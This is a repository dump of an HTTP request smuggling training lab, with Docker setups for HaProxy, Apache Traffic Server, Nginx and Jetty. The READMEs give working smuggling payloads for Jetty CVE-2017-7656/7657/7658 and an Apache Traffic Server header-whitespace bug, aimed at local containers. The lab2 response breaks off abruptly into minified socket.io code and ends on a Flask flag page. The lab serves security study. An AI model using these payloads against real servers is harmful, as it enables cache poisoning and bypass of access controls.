├── .gitignore ├── README.md ├── h2c └── README.md ├── jetty ├── Dockerfile ├── README.md ├── check.sh └── docker-compose.yml ├── lab1 ├── README.md ├── ats6.Dockerfile ├── ats7.Dockerfile ├── check.sh ├── docker-compose.yml ├── haproxy.Dockerfile └── nginx.Dockerfile ├── lab2 ├── README.md ├── ats7.Dockerfile ├── check.sh ├── docker-compose.yml ├── lamp.Dockerfile ├── lamp │ └── index.php ├── lnmp.Dockerfile └── lnmp │ └── index.php ├── lab3 ├── README.md ├── check.sh ├── docker-compose.yml ├── gunicorn.dockerfile ├── haproxy.dockerfile └── src │ └── app.py ├── nginx ├── Dockerfile ├── README.md ├── check.sh ├── conf.d │ └── default.conf └── docker-compose.yml └── websocket └── lab1 ├── README.md ├── apache.dockerfile ├── conf └── default.vcl ├── docker-compose.yml ├── exp └── exp.py ├── flask.dockerfile ├── img ├── img1.png └── img2.png ├── src ├── app.py ├── static │ └── socket.io.js ├── templates │ └── index.html └── websocket.html └── varnish.dockerfile /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HTTP-Smuggling-Lab 2 | 3 | HTTP-Smuggling-Lab is a lab for learning about the http request smuggling. 4 | 5 | ## Installation 6 | 7 | use docker-compose to build the lab in each directory. 8 | 9 | ## Usage 10 | 11 | Read the README.md in details in each directory. 12 | 13 | * In Lab1, we will chain some Reverse Proxy relations, Nginx will be the final backend, HaProxy the front load balancer, and between Nginx and HaProxy we will go through ATS6 or ATS7 based on the domain name used (dummy-host7.example.com for ATS7 and dummy-host6.example.com for ATS6). 14 | * Lab2 uses ATS as front server and uses LAMP and LNMP as backend servers. 15 | * Jetty is jetty v9.4.9. You will get more information in [Jetty-README](./jetty/README.md). 16 | * Websocket Lab is about the websocket http smuggling. You will get more information in [Websocket-README](./websocket/lab1/README.md). 17 | * HTTP/2 cleartext request smuggling please use this: [h2csmuggler](https://github.com/BishopFox/h2csmuggler) 18 | 19 | You can learn more in [Help you understand HTTP Smuggling in one article](https://blog.zeddyu.info/2019/12/08/HTTP-Smuggling-en/) or the chinese version [一篇文章带你读懂 HTTP Smuggling 攻击](https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/). 20 | 21 | ## Contributing 22 | Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. 23 | 24 | Please make sure to update tests as appropriate. 25 | 26 | Thanks to @regilero and mengchen@Knownsec 404 Team. 27 | 28 | ## License 29 | [MIT](https://choosealicense.com/licenses/mit/) -------------------------------------------------------------------------------- /h2c/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeddYu/HTTP-Smuggling-Lab/fb65480b304b01b74d227a8a4053b1e69ea172be/h2c/README.md -------------------------------------------------------------------------------- /jetty/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM jetty:9.4.9 2 | RUN mkdir /var/lib/jetty/webapps/root 3 | RUN bash -c 'set -ex \ 4 | && cd /var/lib/jetty/webapps/root \ 5 | && wget https://tomcat.apache.org/tomcat-7.0-doc/appdev/sample/sample.war \ 6 | && unzip sample.war' 7 | EXPOSE 8080 8 | ENTRYPOINT ["/docker-entrypoint.sh"] 9 | CMD ["java","-jar","/usr/local/jetty/start.jar"] -------------------------------------------------------------------------------- /jetty/README.md: -------------------------------------------------------------------------------- 1 | # Jetty - Http Smuggling 2 | 3 | ## Composition 4 | 5 | jetty 9.4.9 6 | 7 | 8 | 9 | ## Usage 10 | 11 | Only for POC. 12 | 13 | ### build 14 | 15 | ```bash 16 | docker-compose up 17 | ``` 18 | 19 | The jetty server will on the port 9014. 20 | 21 | 22 | 23 | ### check 24 | 25 | ```bash 26 | $ chmod +x check.sh;./check.sh|grep HTTP 27 | HTTP/1.1 200 OK 28 | ``` 29 | 30 | 1 HTTP code 200 means all right! 31 | 32 | Enjoy! 33 | 34 | 35 | 36 | ### reproduce 37 | 38 | #### CVE-2017-7656 HTTP/0.9 39 | 40 | ```bash 41 | printf 'GET /?test=4564 HTTP/0.9\r\n\r\n'|nc -q 1 127.0.0.1 9014 42 | ``` 43 | 44 | You will get an http/0.9 response. No headers is right. HTTP/0.9 responses don't have headers. 45 | 46 | ```html 47 | 48 |
49 |
56 | ![]() |
58 |
59 | Sample "Hello, World" Application60 |This is the home page for a sample application used to illustrate the 61 | source directory organization of a web application utilizing the principles 62 | outlined in the Application Developer's Guide. 63 | |
64 |
To prove that they work, you can execute either of the following links: 68 |
72 | 73 | 74 | 75 | ``` 76 | 77 | 78 | 79 | #### CVE-2017-7657 Chunk size attribute truncation 80 | 81 | ```bash 82 | printf 'POST /?test=4973 HTTP/1.1\r\n'\ 83 | 'Transfer-Encoding: chunked\r\n'\ 84 | 'Content-Type: application/x-www-form-urlencoded\r\n'\ 85 | 'Host: localhost\r\n'\ 86 | '\r\n'\ 87 | '100000000\r\n'\ 88 | '\r\n'\ 89 | 'POST /?test=4974 HTTP/1.1\r\n'\ 90 | 'Content-Length: 5\r\n'\ 91 | 'Host: localhost\r\n'\ 92 | '\r\n'\ 93 | '\r\n'\ 94 | '0\r\n'\ 95 | '\r\n'\ 96 | |nc 127.0.0.1 9014|grep "HTTP/1.1" 97 | ``` 98 | 99 | You will get two 200 codes. 100 | 101 | Try this: 102 | 103 | ```bash 104 | printf 'POST /?test=4975 HTTP/1.1\r\n'\ 105 | 'Transfer-Encoding: chunked\r\n'\ 106 | 'Content-Type: application/x-www-form-urlencoded\r\n'\ 107 | 'Host: localhost\r\n'\ 108 | '\r\n'\ 109 | '1ff00000008\r\n'\ 110 | 'abcdefgh\r\n'\ 111 | '\r\n'\ 112 | '0\r\n'\ 113 | '\r\n'\ 114 | 'POST /?test=4976 HTTP/1.1\r\n'\ 115 | 'Content-Length: 5\r\n'\ 116 | 'Host: localhost\r\n'\ 117 | '\r\n'\ 118 | '\r\n'\ 119 | '0\r\n'\ 120 | '\r\n'\ 121 | |nc -q 1 127.0.0.1 9014|grep "HTTP/1.1" 122 | ``` 123 | 124 | You will get two 200 codes, too. 125 | 126 | Jetty will cut the long size to short size. For example, the first time we tried, size is 100000000. It will be treated as 0. The second time we tried, size is 1ff00000008. It will be treated as 8. 127 | 128 | So both of these, we will get two responses. 129 | 130 | 131 | 132 | #### CVE-2017-7658 Double Content-Length 133 | 134 | ```bash 135 | printf 'GET /?test=4966 HTTP/1.1\r\n'\ 136 | 'Host: localhost\r\n'\ 137 | 'Connection: keepalive\r\n'\ 138 | 'Content-Length: 45\r\n'\ 139 | 'Content-Length: 0\r\n'\ 140 | '\r\n'\ 141 | 'GET /?test=4967 HTTP/1.1\r\n'\ 142 | 'Host: localhost\r\n'\ 143 | '\r\n'\ 144 | |nc 127.0.0.1 9014 145 | ``` 146 | 147 | We will get 148 | 149 | ``` 150 | HTTP/1.1 400 Duplicate Content-Length 151 | Content-Type: text/html;charset=iso-8859-1 152 | Content-Length: 67 153 | Connection: close 154 | Server: Jetty(9.4.9.v20180320) 155 | 156 |reason: Duplicate Content-Length157 | ``` 158 | 159 | But when we try this: 160 | 161 | ```bash 162 | printf 'GET /?test=4968 HTTP/1.1\r\n'\ 163 | 'Host: localhost\r\n'\ 164 | 'Connection: keepalive\r\n'\ 165 | 'Content-Length: 0\r\n'\ 166 | 'Content-Length: 45\r\n'\ 167 | '\r\n'\ 168 | 'GET /?test=4969 HTTP/1.1\r\n'\ 169 | 'Host: localhost\r\n'\ 170 | '\r\n'\ 171 | |nc 127.0.0.1 9014 172 | ``` 173 | 174 | We will get a 200 code. So let's smuggle. 175 | 176 | ```bash 177 | printf 'GET /?test=4970 HTTP/1.1\r\n'\ 178 | 'Host: localhost\r\n'\ 179 | 'Connection: keepalive\r\n'\ 180 | 'Content-Length: 0\r\n'\ 181 | 'Content-Length: 45\r\n'\ 182 | '\r\n'\ 183 | 'GET /?test=4971 HTTP/1.1\r\n'\ 184 | 'Host: localhost\r\n'\ 185 | '\r\n'\ 186 | 'GET /?test=4972 HTTP/1.1\r\n'\ 187 | 'Host: localhost\r\n'\ 188 | '\r\n'\ 189 | |nc 127.0.0.1 9014 190 | ``` 191 | 192 | We will get two 200 codes. 193 | 194 | 195 | 196 | # Reference 197 | 198 | https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc3 199 | 200 | https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/ -------------------------------------------------------------------------------- /jetty/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host: localhost\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | | nc 127.0.0.1 9014 -------------------------------------------------------------------------------- /jetty/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | jetty9_4_9: 4 | image: jetty9_4_9 5 | build: 6 | context: . 7 | dockerfile: Dockerfile 8 | expose: 9 | - 8080 10 | ports: 11 | - "9014:8080" -------------------------------------------------------------------------------- /lab1/README.md: -------------------------------------------------------------------------------- 1 | # LAB1 2 | 3 | ## Composition 4 | 5 | 1.HaProxy 1.6 6 | 7 | 2.Apache Traffic Server 6.2.2 8 | 9 | 3.Apache Traffic Server 7.1.1 10 | 11 | 4.nginx:latest 12 | 13 | ``` 14 | +---[80]---+ 15 | | 8001->80 | 16 | | HaProxy | 17 | | | 18 | +--+---+---+ 19 | [dummy-host6.example.com] | | [dummy-host7.example.com] 20 | +-------+ +------+ 21 | | | 22 | +-[8080]-----+ +-[8080]-----+ 23 | | 8006->8080 | | 8007->8080 | 24 | | ATS6 | | ATS7 | 25 | | | | | 26 | +-----+------+ +----+-------+ 27 | | | 28 | +-------+-------+ 29 | | 30 | +--[80]----+ 31 | | 8002->80 | 32 | | Nginx | 33 | | | 34 | +----------+ 35 | ``` 36 | 37 | 38 | 39 | ## Usage 40 | 41 | ### build 42 | 43 | ```bash 44 | docker-compose up 45 | ``` 46 | 47 | 48 | 49 | ### check 50 | 51 | ```bash 52 | $ chmod +x check.sh;./check.sh|grep HTTP 53 | HTTP/1.1 200 OK 54 | HTTP/1.1 200 OK 55 | HTTP/1.1 200 OK 56 | HTTP/1.1 200 OK 57 | HTTP/1.1 200 OK 58 | HTTP/1.1 200 OK 59 | HTTP/1.1 200 OK 60 | HTTP/1.1 200 OK 61 | HTTP/1.1 200 OK 62 | ``` 63 | 64 | 9 HTTP code 200 means all right! 65 | 66 | Enjoy! 67 | 68 | 69 | 70 | # Reference 71 | 72 | https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc5 -------------------------------------------------------------------------------- /lab1/ats6.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7 2 | ENV TERM xterm-256color 3 | ENV container docker 4 | WORKDIR /tmp 5 | RUN yum clean all && yum update -y 6 | RUN yum install vim wget telnet bind-utils net-tools lsof pkgconfig libtool gcc gcc-c++ make \ 7 | openssl openssl-devel tcl tcl-devel pcre pcre-devel libcap libcap-devel \ 8 | flex hwloc hwloc-devel lua ncurses ncurses-devel curl libcurl-devel autoconf automake \ 9 | libunwind libunwind-devel bzip2 expat-devel -y 10 | RUN yum clean all && yum update -y 11 | RUN wget http://archive.apache.org/dist/trafficserver/trafficserver-6.2.2.tar.bz2 12 | RUN tar -xvf trafficserver-6.2.2.tar.bz2 13 | WORKDIR /tmp/trafficserver-6.2.2 14 | RUN autoreconf -if 15 | RUN ./configure --prefix=/opt/ts \ 16 | && make -j4 \ 17 | && make check \ 18 | && make install \ 19 | && make distclean 20 | 21 | WORKDIR /tmp 22 | RUN rm -rf trafficserver-6.2.2* 23 | RUN ln -s /opt/ts/etc/trafficserver /etc/trafficserver || /bin/true 24 | RUN ln -s /opt/ts/bin/trafficserver /etc/init.d/trafficserver || /bin/true 25 | 26 | # activate reverse proxy 27 | RUN sed -i 's/CONFIG proxy.config.reverse_proxy.enabled INT 0/CONFIG proxy.config.reverse_proxy.enabled INT 1/g' /etc/trafficserver/records.config 28 | 29 | RUN echo "map http://dummy-host6.example.com/ http://nginx/" > /etc/trafficserver/remap.config 30 | RUN echo "reverse_map http://nginx/ http://dummy-host6.example.com/" >> /etc/trafficserver/remap.config 31 | 32 | EXPOSE 8080 33 | 34 | ENTRYPOINT ["/opt/ts/bin/traffic_cop"] 35 | -------------------------------------------------------------------------------- /lab1/ats7.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7 2 | ENV TERM xterm-256color 3 | ENV container docker 4 | WORKDIR /tmp 5 | RUN yum clean all && yum update -y 6 | RUN yum install vim wget telnet bind-utils net-tools lsof pkgconfig libtool gcc gcc-c++ make \ 7 | openssl openssl-devel tcl tcl-devel pcre pcre-devel libcap libcap-devel \ 8 | flex hwloc hwloc-devel lua ncurses ncurses-devel curl libcurl-devel autoconf automake \ 9 | libunwind libunwind-devel bzip2 expat-devel -y 10 | RUN yum clean all && yum update -y 11 | RUN wget http://archive.apache.org/dist/trafficserver/trafficserver-7.1.1.tar.bz2 12 | RUN tar -xvf trafficserver-7.1.1.tar.bz2 13 | WORKDIR /tmp/trafficserver-7.1.1 14 | RUN autoreconf -if 15 | RUN ./configure --prefix=/opt/ts \ 16 | && make -j4 \ 17 | && make check \ 18 | && make install \ 19 | && make distclean 20 | 21 | WORKDIR /tmp 22 | RUN rm -rf trafficserver-7.1.1* 23 | RUN ln -s /opt/ts/etc/trafficserver /etc/trafficserver || /bin/true 24 | RUN ln -s /opt/ts/bin/trafficserver /etc/init.d/trafficserver || /bin/true 25 | 26 | # activate reverse proxy 27 | RUN sed -i 's/CONFIG proxy.config.reverse_proxy.enabled INT 0/CONFIG proxy.config.reverse_proxy.enabled INT 1/g' /etc/trafficserver/records.config 28 | 29 | RUN echo "map http://dummy-host7.example.com/ http://nginx/" > /etc/trafficserver/remap.config 30 | RUN echo "reverse_map http://nginx/ http://dummy7-host.example.com/" >> /etc/trafficserver/remap.config 31 | 32 | EXPOSE 8080 33 | 34 | ENTRYPOINT ["/opt/ts/bin/traffic_cop"] 35 | -------------------------------------------------------------------------------- /lab1/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host:dummy-host7.example.com\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | | nc 127.0.0.1 8002 6 | 7 | printf 'GET / HTTP/1.1\r\n'\ 8 | 'Host:dummy-host7.example.com\r\n'\ 9 | 'Connection: close\r\n'\ 10 | '\r\n'\ 11 | | nc 127.0.0.1 8007 12 | 13 | printf 'GET / HTTP/1.1\r\n'\ 14 | 'Host:dummy-host6.example.com\r\n'\ 15 | 'Connection: close\r\n'\ 16 | '\r\n'\ 17 | | nc 127.0.0.1 8006 18 | 19 | printf 'GET / HTTP/1.1\r\n'\ 20 | 'Host:dummy-host7.example.com\r\n'\ 21 | 'Connection: close\r\n'\ 22 | '\r\n'\ 23 | | nc 127.0.0.1 8001 24 | 25 | printf 'GET / HTTP/1.1\r\n'\ 26 | 'Host:dummy-host6.example.com\r\n'\ 27 | 'Connection: close\r\n'\ 28 | '\r\n'\ 29 | | nc 127.0.0.1 8001 30 | 31 | printf 'GET /?cache=1 HTTP/1.1\r\n'\ 32 | 'Host:dummy-host7.example.com\r\n'\ 33 | '\r\n'\ 34 | 'GET /?cache=2 HTTP/1.1\r\n'\ 35 | 'Host:dummy-host7.example.com\r\n'\ 36 | '\r\n'\ 37 | 'GET /?cache=3 HTTP/1.1\r\n'\ 38 | 'Host:dummy-host6.example.com\r\n'\ 39 | '\r\n'\ 40 | 'GET /?cache=4 HTTP/1.1\r\n'\ 41 | 'Host:dummy-host6.example.com\r\n'\ 42 | '\r\n'\ 43 | | nc 127.0.0.1 8001 -------------------------------------------------------------------------------- /lab1/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.9' 2 | services: 3 | haproxy: 4 | image: labhaproxy 5 | build: 6 | context: . 7 | dockerfile: haproxy.Dockerfile 8 | expose: 9 | - 80 10 | ports: 11 | - "8001:80" 12 | # links: 13 | # - ats7:linkedats7.net 14 | # - ats6:linkedats6.net 15 | depends_on: 16 | - ats7 17 | - ats6 18 | ats7: 19 | image: labats7 20 | build: 21 | context: . 22 | dockerfile: ats7.Dockerfile 23 | expose: 24 | - 8080 25 | ports: 26 | - "8007:8080" 27 | depends_on: 28 | - nginx 29 | # links: 30 | # - nginx:linkednginx.net 31 | ats6: 32 | image: labats6 33 | build: 34 | context: . 35 | dockerfile: ats6.Dockerfile 36 | expose: 37 | - 8080 38 | ports: 39 | - "8006:8080" 40 | depends_on: 41 | - nginx 42 | # links: 43 | # - nginx:linkednginx.net 44 | nginx: 45 | image: labnginx 46 | build: 47 | context: . 48 | dockerfile: nginx.Dockerfile 49 | expose: 50 | - 80 51 | ports: 52 | - "8002:80" 53 | -------------------------------------------------------------------------------- /lab1/haproxy.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM haproxy:1.6 2 | EXPOSE 80 3 | 4 | RUN echo 'defaults\n\ 5 | mode http\n\ 6 | option http-keep-alive\n\ 7 | timeout connect 5000\n\ 8 | timeout client 10000\n\ 9 | timeout server 10000\n\ 10 | \n\ 11 | frontend http-in\n\ 12 | bind *:80\n\ 13 | mode http\n\ 14 | default_backend ats7_vhost\n\ 15 | # define (virtual)hosts\n\ 16 | acl vhost6 hdr(host) -i dummy-host6.example.com\n\ 17 | acl vhost7 hdr(host) -i dummy-host7.example.com\n\ 18 | use_backend ats6_vhost if vhost6\n\ 19 | use_backend ats7_vhost if vhost7\n\ 20 | \n\ 21 | backend ats7_vhost\n\ 22 | mode http\n\ 23 | option forwardfor\n\ 24 | server ats7 ats7:8080\n\ 25 | \n\ 26 | backend ats6_vhost\n\ 27 | mode http\n\ 28 | option forwardfor\n\ 29 | server ats6 ats6:8080\n\ 30 | \n'> /usr/local/etc/haproxy/haproxy.cfg 31 | 32 | CMD ["haproxy", "-f", "/usr/local/etc/haproxy/haproxy.cfg"] 33 | -------------------------------------------------------------------------------- /lab1/nginx.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | 3 | RUN /bin/sh -c 'rm /etc/nginx/conf.d/default.conf || /bin/true' 4 | 5 | RUN echo '
It works!
\n\ 8 | ' > /usr/share/nginx/html/index.html 9 | 10 | RUN echo 'server {\n\ 11 | listen 80;\n\ 12 | server_name dummy-host.example.com;\n\ 13 | \n\ 14 | location / {\n\ 15 | root /usr/share/nginx/html;\n\ 16 | index index.html index.htm;\n\ 17 | add_header X-Location-echo $request_uri;\n\ 18 | add_header X-Default-VH 0;\n\ 19 | add_header Cache-Control "public, max-age=300";\n\ 20 | }\n\ 21 | \n\ 22 | # redirect server error pages to the static page /50x.html\n\ 23 | #\n\ 24 | error_page 500 502 503 504 /50x.html;\n\ 25 | location = /50x.html {\n\ 26 | root /usr/share/nginx/html;\n\ 27 | }\n\ 28 | }\n'> /etc/nginx/conf.d/vhost.conf 29 | -------------------------------------------------------------------------------- /lab2/README.md: -------------------------------------------------------------------------------- 1 | # LAB2 2 | 3 | ## Composition 4 | 5 | 1.Apache Traffic Server 7.1.2 6 | 7 | 2.mattrayner/lamp:latest-1804 8 | 9 | 3.fbraz3/lnmp:7.1 10 | 11 | ``` 12 | +---[8080]---+ 13 | | 9010->8080 | 14 | | ATS7 | 15 | | | 16 | +---+---+----+ 17 | [lamp.com] | | [lnmp.com] 18 | +-------+ +-------+ 19 | | | 20 | +---[80]-----+ +---[80]-----+ 21 | | 9011->80 | | 9012->80 | 22 | | LAMP | | LNMP | 23 | | | | | 24 | +-----+------+ +----+-------+ 25 | ``` 26 | 27 | 28 | 29 | LNMP index.php: 30 | 31 | ```php 32 | '; 34 | if (!function_exists('getallheaders')) { 35 | 36 | function getallheaders() { 37 | $headers = array(); 38 | foreach ($_SERVER as $name => $value) { 39 | if (substr($name, 0, 5) == 'HTTP_') { 40 | $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; 41 | } 42 | } 43 | return $headers; 44 | } 45 | 46 | } 47 | var_dump(getallheaders()); 48 | $data = file_get_contents("php://input"); 49 | print_r($data); 50 | ``` 51 | 52 | 53 | 54 | LAMP index.php: 55 | 56 | ```php 57 | '; 59 | var_dump(getallheaders()); 60 | $data = file_get_contents("php://input"); 61 | print_r($data); 62 | ``` 63 | 64 | 65 | 66 | ## Usage 67 | 68 | ### build 69 | 70 | ```bash 71 | docker-compose up 72 | ``` 73 | 74 | 75 | 76 | ### check 77 | 78 | ```bash 79 | $ chmod +x check.sh;./check.sh|grep HTTP 80 | HTTP/1.1 200 OK 81 | HTTP/1.1 200 OK 82 | HTTP/1.1 200 OK 83 | HTTP/1.1 200 OK 84 | ``` 85 | 86 | 4 HTTP code 200 means all right! 87 | 88 | Enjoy! 89 | 90 | 91 | 92 | ## POC 93 | 94 | ### First Patch 95 | 96 | https://github.com/apache/trafficserver/pull/3192 97 | 98 | > Return 400 if there is whitespace after the field name and before the colon 99 | 100 | Use burp or other tools to send this: 101 | 102 | ```http 103 | GET / HTTP/1.1 104 | Host: lnmp.com 105 | Content-Length : 47 106 | 107 | GET / HTTP/1.1 108 | Host: lnmp.com 109 | attack: 1 110 | foo: 111 | ``` 112 | 113 | You will get response like this. **If not, you should try one more time.** 114 | 115 | ```http 116 | HTTP/1.1 200 OK 117 | Server: ATS/7.1.2 118 | Date: Wed, 29 Apr 2020 10:50:00 GMT 119 | Content-Type: text/html; charset=UTF-8 120 | Age: 0 121 | Connection: keep-alive 122 | Content-Length: 385 123 | 124 | This is Nginx0;){for(var s=new Uint8Array(o),a=0===s[0],c="",p=1;255!==s[p];p++){if(c.length>310)return r(w,0,1);c+=s[p]}o=f(o,2+c.length),c=parseInt(c);var u=f(o,0,c);if(a)try{u=String.fromCharCode.apply(null,new Uint8Array(u))}catch(h){var l=new Uint8Array(u);u="";for(var p=0;p Good luck!You need to access /flag at flask.net:5000 to solve
21 |